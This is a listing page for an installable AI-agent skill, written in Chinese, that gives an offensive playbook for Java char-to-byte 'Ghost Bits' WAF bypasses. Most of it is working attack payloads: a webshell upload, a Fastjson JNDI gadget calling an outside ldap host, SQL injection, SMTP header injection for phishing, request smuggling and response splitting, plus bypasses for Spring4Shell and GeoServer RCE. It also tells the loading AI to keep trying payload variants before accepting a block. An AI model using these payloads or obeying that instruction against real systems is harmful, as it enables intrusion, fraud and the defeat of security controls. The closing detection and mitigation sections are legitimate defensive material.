mcpField
G
ghost-bits-cast-attack

ghost-bits-cast-attack

github.com/yaklang安全2.6k3.3k 次安装6 周前更新
代码仓库

关于 ghost-bits-cast-attack

面向 Java 安全的技能,介绍 Ghost Bits 字符转字节截断原语,使后端解释的载荷字节可能与 WAF 所见不同。内容归纳成因、受影响组件,并提供测试与防御参考。

主要功能

  1. 01说明 Java char 到 byte 的截断
  2. 02区分三类缺陷成因
  3. 03列出危险字节对应的 Unicode 字符
  4. 04提供组件相关载荷示例
  5. 05包含 WAF 检测指导

适用场景

  1. 01调查 Java 应用中被拦截的载荷
  2. 02评估 WAF 与后端的解析差异
  3. 03检查 Java 组件的窄化行为
  4. 04构建模拟字节转换的检测逻辑

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill ghost-bits-cast-attack

安装后在 Claude Code 中输入/ghost-bits-cast-attack确认已加载。

附带文件PAYLOAD_COOKBOOK.md

详细介绍

技能:Ghost Bits / Cast Attack — Java char 到 byte 缩窄攻击手册

AI 加载指令:这是一种仅适用于 Java、可启用注入攻击的原语, 不是独立的漏洞类别。只要你看到以下情况:(1) Java 后端, (2) 前置 WAF/IDS,以及 (3) 可利用的攻击类型包括 {SQLi、反序列化 RCE、文件上传、 路径遍历、CRLF、请求走私、SMTP 注入} 中的任意一种,务必 在断定攻击被“拦截”之前,先尝试 Ghost Bits 变体载荷。其根本原因是 Java 代码将 16 位 char 缩窄为 8 位 byte 时,高 8 位会静默丢失——WAF 看到的是无害的 Unicode 字符,而后端则会还原出原始 ASCII 攻击字节。基础模型几乎不会想到使用这一原语。

来源:Black Hat Asia 2026 演讲 Cast Attack: A New Threat Posed by Ghost Bits in Java,演讲者为 Xinyu Bai (@b1u3r)、Zhihui Chen (@1ue),贡献者为 Zongzheng Zheng (@chun_springX)。

0. 相关路由

Ghost Bits 是一种绕过原语,可重新启用许多其他手册中的载荷。请根据适用的攻击类型搭配使用:

  • waf-bypass-techniques — 怀疑存在 Java 后端,且 WAF 规则会拦截明文载荷时,这是经典编码之外首先应尝试的技术。
  • deserialization-insecure — 适用于 Apache Commons BCEL ClassLoader 和 Fastjson \u/\x 转义变体。
  • path-traversal-lfi — Spring、Jetty、 Undertow、Vert.x URL 解码和 %2> 十六进制折叠。
  • upload-insecure-files — Tomcat RFC2231Utility filename* Webshell 上传。
  • request-smuggling — Apache HttpClient <= 4.5.9(HTTPCLIENT-1974/1978)标头 CRLF。
  • crlf-injection — Angus Mail / Jakarta Mail SMTP 注入和 JDK HttpServer 响应拆分。
  • sqli-sql-injection — Jackson charToHex 查表截断会将 SQL 关键字藏在 Unicode 转义序列中。
高级参考

需要以下内容时,加载 PAYLOAD_COOKBOOK.md:

  • 覆盖每个可打印 ASCII 字节 0x20–0x7E 和最实用控制字节(0x00、0x09、0x0A、0x0D)的完整字节到 Ghost 字符对照表。
  • 各组件受影响版本矩阵和补丁标识符。
  • Yaklang 和 Python 单行载荷生成器(适用于 poc.HTTP、 codec.Encode、原始套接字)。
  • 用于蓝队 WAF 检测的“多视图规范化引擎”伪代码。

1. 一分钟心智模型

Java 的 char 是16 位无符号整数(UTF-16 代码单元)。几乎所有网络协议——HTTP/1.1、SMTP、Redis RESP、文件路径、原始字节流——都是以8 位字节为单位的。正确的桥接方式是使用显式字符集编码:

// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);

大量遗留代码、框架内部实现和“快速路径”优化都会跳过这一步,并静默缩窄:

// Dangerous: high 8 bits silently dropped
byte b = (byte) ch;          // 0x966A -> 0x6A
out.write(ch);               // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str);         // DataOutputStream loops char->byte cast
int v = ch & 0xFF;           // explicit low-byte mask

丢失的高 8 位就是幽灵位。它们会在协议层将多字节 Unicode 字符变成攻击者指定的单个 ASCII 字节。

View A (string layer: WAF / business validation / logs)
  sees: 陪 阮 严 灵 瘍 瘊 ...   "harmless Unicode garbage, allow"
                  |
                  v       silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
  sees: j  .  %  u  \r \n ...  "executes the dangerous semantics"

The boundary is breached at the exact moment "view A" and "view B" disagree.

数学表达式:若要让视图 B 看到字节 T,任选 k in 0x01..0xFF,并使用:

c = chr((k << 8) | T)

这样,每个危险字节都有 255 个候选 Unicode 字符——足以避开任何基于特征码的黑名单。


2. 三类根本原因

Ghost Bits 涵盖三种不同的底层漏洞。区分它们有助于判断应发送哪种载荷形式,以及在源码中应搜索什么内容。

A 类——真实的高位截断(经典 Ghost Bits)

缩窄操作是字面执行且无条件的。

// Pattern A1: explicit cast
byte b = (byte) ch;

// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;

// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);

// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
//             writing low byte of each
dos.writeBytes(str);

// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);

典型影响:Tomcat filename*、Apache BCEL ClassLoader、Lettuce Redis 写入器、 Angus Mail 中的 SMTP CRLF、HTTPCLIENT-1974 标头注入。

家族 B — 位运算折叠(非法字符变为合法字符)

“快速”十六进制/base64/字符集解码器使用位运算技巧,而非严格的 范围检查,因此非法字符会折叠为合法字符。

// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
    int x = c & 0x1F;          // keep low 5 bits
    x += (c >> 6) * 25;
    x -= 16;
    return x;                  // expected 0..15, but no range check
}

示例:输入 >(0x3E):

0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE

因此,%2> 会被静默解析为 %2E = .。同样的代数运算也会让 %2^、 %2~ 等价于其他十六进制数字。

典型影响:Openfire CVE-2023-32315、GeoServer CVE-2024-36401、通用 URL 解码 WAF 绕过。

家族 C — 宽松的 Unicode 规范化

解码器会接受恰好被归类为“数字”的 Unicode 字符,或通过 & 0xFF 查找 映射到十六进制值的字符——尽管这些字符原本并非用于参与协议解析。

// Fastjson: too permissive
Character.digit(c, 16);   // accepts Thai, Punjabi, fullwidth digits

// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];

// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'

典型影响:Fastjson \u 和 \x 转义绕过、全角 URL 编码路径遍历、 Jackson charToHex SQLi 走私。


3. 字符生成器

按需生成任意 Ghost Bits 字符。每个 Agent 都应牢记这个单一函数:

# Python
def ghost(target_byte: int, k: int = 1) -> str:
    """Return a Unicode char whose low 8 bits equal target_byte."""
    return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))

# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.
// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
    return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96)   // returns "陪"

选择建议:

  • 避免代理项范围 0xD800..0xDFFF(高字节为 0xD8..0xDF)——这些不是有效的标量值,会在到达缩窄位置前被 JVM 字符串解码器替换,从而使绕过失效。
  • 优先选择能通过应用自身字符集往返转换的字符(Latin-Extended、CJK Unified Ideographs、Enclosed CJK Letters and Months、Hangul)。如果请求正文使用 UTF-8,这些字符都会被可靠地编码为多字节序列,而 WAF 规则无法将其识别为 .、/、j 等。
  • 在不同请求间轮换 k,这样基于特征的学习就无法将某个字符固定对应到某种攻击。

4. 危险字节到幽灵字符映射

精简的红队武器化表。对于攻击者实际需要的每个字节,都给出了一个经过验证的 Unicode 字符;如果 WAF 后续学会识别示例中的字符,就换用另一个 k。

目标字节十六进制用途幽灵字符码点
\t0x09头部折叠、解析器混淆ĉU+0109
\n0x0ACRLF 注入、日志注入瘊U+760A
\r0x0DCRLF 注入、请求走私瘍U+760D
0x20头部分隔、命令分隔符ĠU+0120
"0x22在 JSON / quoted-printable 中打破字符串ĢU+0122
%0x25URL 编码前缀、二次解码严U+4E25
&0x26参数分隔符ȦU+0226
'0x27SQL 字符串打破ȧU+0227
(0x28EL/SpEL/OGNL 语法ȨU+0228
)0x29EL/SpEL/OGNL 语法ȩU+0229
.0x2E路径遍历、扩展名阮U+962E
/0x2F路径分隔符丯U+4E2F
00x30构造十六进制数字丰U+4E30
10x31构造十六进制数字失U+5931
20x32构造十六进制数字甲U+7532
30x33构造十六进制数字耳U+8033
;0x3B命令分隔符、头部延续ȻU+023B
<0x3CXSS / XML 标签起始ȼU+023C
=0x3D参数 / 头部值ȽU+023D
>0x3EXSS / XML 标签结束ȾU+023E
@0x40Fastjson @type、邮件地址ŀU+0140
a0x61关键字 class、字母表ᙡU+1661
c0x63关键字 class、cmd㹣U+3E63
e0x65十六进制数字来U+6765
j0x6A扩展名 .jsp陪U+966A
l0x6C关键字 class、closure౬U+0C6C
n0x6E关键字 Runtime、union陮U+966E
s0x73关键字 class、select⑳U+2473
t0x74关键字 Runtime、typeŴU+0174
u0x75\u 转义引导符灵U+7075

工作流提示:在紧凑的 HTTP 头部场景中使用 ASCII Ŀ、ȧ、ȼ 等变体(UTF-8 扩展仅占一个字节,体积更小);如果想让 WAF 更倾向于将内容分类为“纯文本”,则使用 阮、陪、严 等 CJK 字符。


5. 各组件的载荷配方

每个配方都展示双重视图:WAF 检查的内容,以及后端实际执行的内容。这是解释载荷为何能通过的唯一可靠方式。

5.1 Tomcat RFC2231Utility — 文件上传 Webshell(Family A)

触发条件:任何接受 multipart 上传的端点,且 Tomcat 会解析 Content-Disposition: ... filename*=UTF-8''...。Tomcat 的 RFC2231 解码器会直接将每个非百分号字符强制转换为字节,丢弃高 8 位。

载荷:

Content-Disposition: attachment; filename*=UTF-8''1.陪sp
阶段看到的文件名
WAF / 扩展名过滤器1.陪sp(不是 .jsp,放行)
Tomcat RFC2231 解码器陪 -> 低字节 0x6A -> j
文件系统1.jsp

如果上传目标目录固定,但应用接受 filename*,可结合第 4 节中的路径遍历字符(阮、丯)。

5.2 Apache Commons BCEL — ClassLoader RCE(Family A)

触发条件:任何通过 BCEL($$BCEL$$...)解析类名的接收点,或任何通过 JavaReader -> ByteArrayOutputStream 循环解码 BCEL 的代码。

易受攻击的形式:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
    bos.write(ch);     // low 8 bits only
}

攻击方式:将恶意 BCEL 字节码的每个字节包装成低 8 位等于该字节的 Unicode 字符。解码后的字节流是有效的 BCEL 类;WAF 看到的是一长串 CJK 文本,不含 $$BCEL$$ 关键字或类签名。

视图内容
WAF$$BCEL$$ 后接看起来随机的 CJK 文本
BCEL标准 BCEL 类文件字节 → JVM defineClass → RCE

蓝队防御方法:检查 BCEL 的 WAF 必须先对每个字符模拟 bos.write(ch) 语义,再进行模式匹配。

5.3 Jackson charToHex — SQLi 隐匿传递(Family C)

触发条件:任何由 Jackson 解析、之后会嵌入 SQL 或交给其他解析器处理的 JSON 字段值。Jackson 会通过以下方式解析 \uXXXX 数字:

private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
    return sHexValues[ch & 0xFF];   // mask first, lookup second
}

任何低 8 位落在有效索引上的非 ASCII 字符都会返回对应的十六进制数字。WAF 看到的是乱码;Jackson 则会还原出 ASCII 载荷。

载荷(隐匿数字 1,用作 UNION 列数):

{"q": "\u丰丰耳失 union select 1,2,3 -- "}
视图内容
WAF\u丰丰耳失 union select ...(前面没有数字)
Jackson\u0031 union select 1,2,3-- -> 1 union select…

可搭配 sqli-sql-injection,使用后续的 UNION / 布尔型 / 基于时间的载荷模板。

5.4 Fastjson — \u 和 \x 转义绕过(Families B + C)

有两个独立入口:

(a) \u 转义 — Character.digit(c, 16) 接受 ASCII 以外的 Unicode 数字类别(泰语 ๐-๙ U+0E50..U+0E59、旁遮普语 ੦-੯ U+0A66..U+0A6F、全角 0-9 U+FF10..U+FF19)。

{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

WAF 视图:\u4_type(没有字面量 @type)。Fastjson 会将全角 4 规范化为 4,然后通过下方的 \x 快捷方式处理 _,生成 @type。

(b) \x 转义 — Fastjson 计算 digits[x1] * 16 + digits[x2]。非法十六进制字符会返回默认值 0。

\x4_   ->   '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
视图字段名
WAF\x4_type(不是 @type)
Fastjson@type -> 触发 JdbcRowSetImpl autotype gadget
5.5 Spring / Jetty / Undertow / Vert.x — URL 解码(Families A + B)

两种可组合的技巧:

技巧 1 — 在路径或查询中使用 Family A 字符替换:

/api/v1/data?file=阮丯阮丯etc丯passwd
                = ../../etc/passwd at the byte layer

技巧 2 — 当 Jetty 的 TypeUtil.fromHexDigit 位于调用链中时,使用 Family B %2> 折叠:

/setup/setup-s/%2>%2>/log.jsp
                = /setup/setup-s/../log.jsp after decode

单独使用任一技巧即可绕过大多数特征签名 WAF;组合使用时,甚至能绕过只检查 ASCII 百分号三元组的“先规范化再匹配”规则。

Spring CVE-2025-41242 调用链(StringUtils.uriDecode 已在 PR #34673 中修复):

input :  阮严灵丰丰甲来
       (.)(%)(u)(0)(0)(2)(e)
narrow:  .%u002e
decode:  ..
result:  arbitrary file read via path traversal
阶段路径
Spring isInvalidPath().%u002e — 没有字面量 ..,放行
后端文件解析%u002e 解码后变为 .. → 路径遍历
5.6 Angus Mail / Jakarta Mail — SMTP 注入(Family A)

触发条件:任何使用用户可控字符串构建 SMTP 信封或标头的应用程序。内部的 ASCIIUtility 会执行:

byte b = (byte) ch;           // 16-bit char silently narrowed

将 CRLF 伪装为 瘍瘊:

[email protected]瘍瘊Subject: Password reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234
视角解析结果
应用程序验证一个包含奇特 CJK 字符的 From 值
SMTP 服务五个独立的标头行 + 正文,完全伪造

实际影响模式:类似 Jira 的密码重置劫持(CVE-2025-57733)、Confluence 域名允许列表绕过——可与 crlf-injection 搭配,实现非邮件场景的 CRLF 重用。

5.7 Apache HttpClient <= 4.5.9 — 请求走私(Family A)

HTTPCLIENT-1974 / HTTPCLIENT-1978:标头值会经过 OutputStreamWriter,再通过窄化类型转换的写入操作,对 \u760D\u760A 输出原始 \r\n。

X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
跳点看到的内容
前端代理 / WAF一个带有较长 X-Auth-Token 的请求
源站两个请求;第二个是管理员 POST 请求

如需在确认发生不同步后进行自选前缀攻击,请参见 request-smuggling。

5.8 JDK HttpServer — 响应拆分(CVE-2026-21933,Family A)

用户输入反射到响应标头时,会经过 com.sun.net.httpserver 写入器;这些写入器会将每个字符转换为低字节。

载荷(URL 参数或上游标头):

Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>

服务器会发出两个逻辑响应;第二个响应携带攻击者指定的正文。可进一步升级为存储型 XSS、缓存投毒和 SSO 重定向链。

5.9 其他受影响组件

相同的 Family A 原语,不同的接收点:

  • Lettuce(Redis 客户端) — 将 \r\n 伪装进 RESP 帧,造成命令注入;可串联任意 CONFIG SET dir + SAVE,实现从 SSRF 到 RCE。
  • Jodd FileNameUtil — 由于内部写入循环会进行窄化类型转换,可通过 阮 和 丯 实现路径遍历。
  • XMLWriter — 属性或文本节点的值经低字节写入器处理时,会造成标签名注入;可作为 XXE / XSS 的跳板。
  • ActiveJ HTTP — CRLF 注入,形式与 5.7 / 5.8 相同。
  • Vert.x HTTP 正文解析器 — MultipartParser 中存在 Family A 问题。

请参见 PAYLOAD_COOKBOOK.md,了解受影响版本矩阵和各组件的完整载荷框架。


6. 已知 CVE 绕过方案

仅在对应 CVE 已修补但服务仍由 WAF 防护时,才按以下方式使用。 以下各载荷会将原始 ASCII 攻击转换为可绕过基于字符串的 WAF 规则的形式。

Openfire CVE-2023-32315 — 身份验证绕过(Family B)

原始公开绕过方式:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Ghost Bits / %2> 折叠绕过方式(更难被特征检测):

GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp

每个 %2> 都会经由 Jetty 宽松的十六进制解析折叠为 %2E = .,从而得到相同的 ../../ 路径遍历,同时不会向 WAF 发送 .. 或 %2e。

GeoServer CVE-2024-36401 — 通过 Runtime 关键字实现 RCE(Family B)

公开的 WAF 规则通常会拦截 Runtime。注入一个折叠字符:

Ru%6>time

解码过程:%6> -> %6E -> n。表达式求值器现在会看到 Runtime,而 WAF 从未看到它。

Spring4Shell CVE-2022-22965 — 类加载器链(Family A)

所需参数前缀为 class.module.classLoader...。WAF 会拦截字面量 class。使用低字节字符替换:

Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."
组件字符码点低字节
c㹣U+3E630x63
l౬U+0C6C0x6C
aᙡU+16610x61
s⑳U+24730x73
s⑳U+24730x73

Spring 的参数名解析器会将其窄化回 class。

Spring CVE-2025-41242 — 任意文件读取(Family A + Family B 混合)

上文 5.5 已演示。载荷 阮严灵丰丰甲来 -> %u002e -> 在验证后解码时变为 ..。

Jakarta Mail CVE-2025-57733 — Jira 风格邮件劫持(Family A)
[email protected]瘍瘊Subject: Reset code瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234

邮件通过有效的 SPF / DKIM / DMARC 验证离开公司 SMTP 服务器,但 其 To: 和 Subject: 由攻击者指定,可实施高度逼真的钓鱼攻击。


7. 检测决策树

对目标进行分诊时使用。目的是避免在 Ghost Bits 无济于事时浪费精力, 并在满足前置条件时 始终 尝试利用它。

Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
                      WebGoat-style stack trace, X-Powered-By, X-Frame-Options
                      with Tomcat default values)
├── No  -> stop, Ghost Bits does not apply
└── Yes
    │
    ├── Is there a WAF / IDS or input filter blocking your literal payload?
    │   ├── No  -> use the literal payload; Ghost Bits is overkill
    │   └── Yes -> continue
    │
    ├── Which sink are you targeting?
    │   ├── File upload via multipart  -> recipe 5.1 (Tomcat filename*)
    │   ├── JSON deserialization       -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
    │   ├── Class loader / BCEL ref    -> recipe 5.2
    │   ├── URL path / parameter       -> recipe 5.5 + Family B `%2>`
    │   ├── Header reflection          -> recipes 5.7 / 5.8
    │   ├── Mail send                  -> recipe 5.6
    │   └── Redis / RESP / XML / RPC   -> recipe 5.9
    │
    ├── Probe with a single non-destructive substitution first
    │   (replace ONE character with its Ghost variant; observe response
    │    diff: status code, length, header echo, error message, time)
    │
    └── If observable difference appears -> escalate by substituting all
                                            blocked characters and chain
                                            through the linked playbook.

8. SAST / 代码审计特征

审查 Java 源码时分为三个优先级。搜索所有项目仓库、所有可进行着色打包的 依赖项,以及任何已部署设备的 lib/ 目录。

Tier 1 — 直接窄化(Family A)
\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\)         # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytes
Tier 2 — 宽松的十六进制 / 数字解码(Families B + C)
Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25
Tier 3 — 高风险包装器与可达性
RFC2231                # Tomcat / mail filename* parsing
JavaReader             # BCEL ClassLoader reachable
ASCIIUtility           # Jakarta Mail / Angus Mail
LineParser             # HttpClient header parser
ChunkedDecoder         # request smuggling adjacent
charToHex              # Jackson
encodeUTF8             # candidate for char->byte writer

每项发现都应根据五维风险模型进行分诊:

维度以下情况风险较高
输入控制HTTP 参数、标头、文件名、JSON 键、邮件地址
验证窄化位置之前执行拒绝列表 / 允许列表
窄化时机安全检查之后才进行转换
语法目标结果进入 URL / SMTP / HTTP / Redis / 文件系统 / SQL 语法
再解码后续还会进行 Base64、URL 解码、JSON 反转义、%u 等操作

风险公式:

attacker-controlled  +  check-before-narrow  +  result-in-protocol-syntax
                                              +  later-redecoding
                              = HIGH SEVERITY

9. 差分测试工作流

一套可复现的黑盒流程,用于发现新的 Ghost Bits 漏洞点(红队), 或验证修复是否有效(蓝队)。

1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').

2. Generate the candidate set:
       C = { chr((k << 8) | T) for k in 1..255 }
   Drop surrogates 0xD8XX..0xDFXX.

3. For each candidate c in C:
       a. Send a benign request with c at the chosen position.
       b. Send the same request with literal T at the same position.
       c. Compare four observables:
            - status code
            - response body length
            - response body content hash (or diff)
            - server-side log line (if available)

4. If any candidate produces a response equivalent to T but differs from a
   "neutral" character (e.g. 'X'), you have found a narrowing sink.

5. Repeat for the next T in your priority list:
       0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
       0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
       0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')

6. Cluster sinks by component (response Server header, error stack) — one
   sink usually implies the whole framework version is vulnerable.

此工作流刻意不依赖特定协议;同一套循环适用于文件上传器、搜索端点、 邮件撰写器或由 Redis 支持的缓存。


10. 防御意识

需要五层防护,缺少任何一层都不行;单独使用任何一层都可被绕过。

层操作
源代码禁止手写 (byte) ch、& 0xFF、out.write(ch)、writeBytes。对协议字段使用 getBytes(StandardCharsets.UTF_8) 或严格的 ASCII 允许列表。
解码器拒绝非法输入。绝不要将未知的十六进制 / Unicode 数字 / Base64 字符默认折叠为 0 或其低 8 位。
验证顺序始终先规范化,再验证。具体而言:严格解码 → Unicode NFC/NFKC → 协议规范化(URL .. 解析、File.getCanonicalPath)→ 安全检查 → 执行。
协议字段针对每个字段使用严格的允许列表(HTTP 标头值、SMTP 信封、URL 路径、文件名、JSON 键、XML 标签)。拒绝任何标头或地址中的 CR/LF。
WAF / IDS运行多视图规范化器。始终检查原始字符串、(char) & 0xFF 视图、URL 解码视图以及 Unicode-NFKC 视图。当任一视图包含原始字符串中不存在的危险语义时发出警报。

蓝队检查要点:

  • 日志中在协议语法要求使用 ASCII 的位置(文件名、标头值、邮件地址)出现 CJK / Latin-Extended 字符。
  • 请求的十六进制转储中,协议分隔符旁出现 0x20..0x7E 以外的字节。
  • 渗透测试或扫描器报告了一个“奇怪的 200”,而安全监控没有发出警报——在 Java 技术栈中,Ghost Bits 是 2025-2026 年此类模式最常见的成因。

11. 快速参考 — 关键载荷

# Ghost char generator
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF))     # avoid k in 0xD8..0xDF

# Tomcat filename* webshell upload
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp"     # → shell.jsp

# BCEL ClassLoader bypass (concept)
$$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>

# Jackson SQLi smuggling
{"q":"\u丰丰耳失 union select 1,2,3-- "}                          # → "1 union select…"

# Fastjson @type smuggling
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}

# Spring URL decode + Jetty %2> folding
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time

# Spring4Shell name* class smuggling
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."

# Spring CVE-2025-41242 path read
GET /resources/阮严灵丰丰甲来/secret.properties                    # → ../%u002e

# Angus Mail / Jira mail hijack
From: [email protected]瘍瘊Subject: Reset瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234

# Apache HttpClient ≤4.5.9 smuggling
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

# JDK HttpServer response splitting (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>

# SAST first-pass grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/

参考资料

  • Black Hat Asia 2026——Cast Attack: A New Threat Posed by Ghost Bits in Java。演讲者:Xinyu Bai(@b1u3r / @iSafeBlue)、Zhihui Chen(@1ue)。 贡献者:Zongzheng Zheng(@chun_springX)。
  • 已重新启用的真实世界 CVE:GeoServer CVE-2024-36401、Spring4Shell CVE-2022-22965、Openfire CVE-2023-32315、Spring CVE-2025-41242、Jakarta Mail CVE-2025-57733、JDK HttpServer CVE-2026-21933、Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978。
  • 已修补组件的升级目标:Apache Commons BCEL >= 6.12.0、 Fastjson 2.x 最新版、Apache HttpClient >= 4.5.10(或迁移至 5.x)、 GeoServer >= 2.28.3、Openfire >= 5.0.4。依赖任何单一版本号之前, 请先确认供应商公告。

评论

支持 Markdown